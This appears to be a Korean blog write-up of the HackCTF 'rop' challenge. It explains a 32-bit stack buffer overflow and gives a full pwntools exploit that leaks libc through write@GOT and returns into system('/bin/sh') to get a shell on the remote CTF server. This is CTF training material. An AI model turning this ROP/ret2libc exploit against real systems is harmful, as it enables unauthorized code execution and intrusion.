# 보호기법 확인
# process
vulnerable_function 함수에서 read 함수로 0x100 바이트 입력받는다.
버퍼의 크기는 0x88 바이트로 BOF 취약점 존재.
return address를 덮고 ROP를 진행하기에 충분하다.
그리고 libc leak을 한 후 system 함수와 "/bin/sh" 문자열을 구한 후 다시 vulnerable_function 함수로 리턴해서 RTL을 진행한다.
* ROP gadget 구하기
write 함수로 got leak -> write 3개 인자 필요 -> pop; pop; pop; ret gadget 사용
RTL -> system 1개 인자 필요 -> pop; ret gadget 사용
$ objdump -d rop | grep -B3 "ret"
종류가 한 개 나온다.
p3ret : 0x8048509
p1ret : 0x804850b
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#gdb.attach(p)
elf = ELF("./rop")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
p1ret = 0x804850b
p3ret = 0x8048509
vulnerable_function = elf.symbols['vulnerable_function']
pay = 'A'*0x88 + 'B'*4
pay += p32(write_plt) + p32(p3ret) + p32(1) + p32(write_got) + p32(0x4)
pay += p32(vulnerable_function)
p.sendline(pay)
write = u32(p.recv(4))
libcBase = write - libc.symbols['write']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
log.info("write : "+hex(write))
log.info("system : "+hex(system))
log.info("binsh : "+hex(binsh))
pay = 'A'*0x88 + 'B'*4
pay += p32(system) + p32(p1ret) + p32(binsh)
p.sendline(pay)
p.interactive()
# exploit
[HackCTF] UAF (0) | 2020.01.19 |
---|---|
[HackCTF] Random Key (0) | 2020.01.18 |
[HackCTF] pwning (0) | 2020.01.15 |
[HackCTF] Gift (0) | 2020.01.12 |
[HackCTF] Look at me (0) | 2020.01.12 |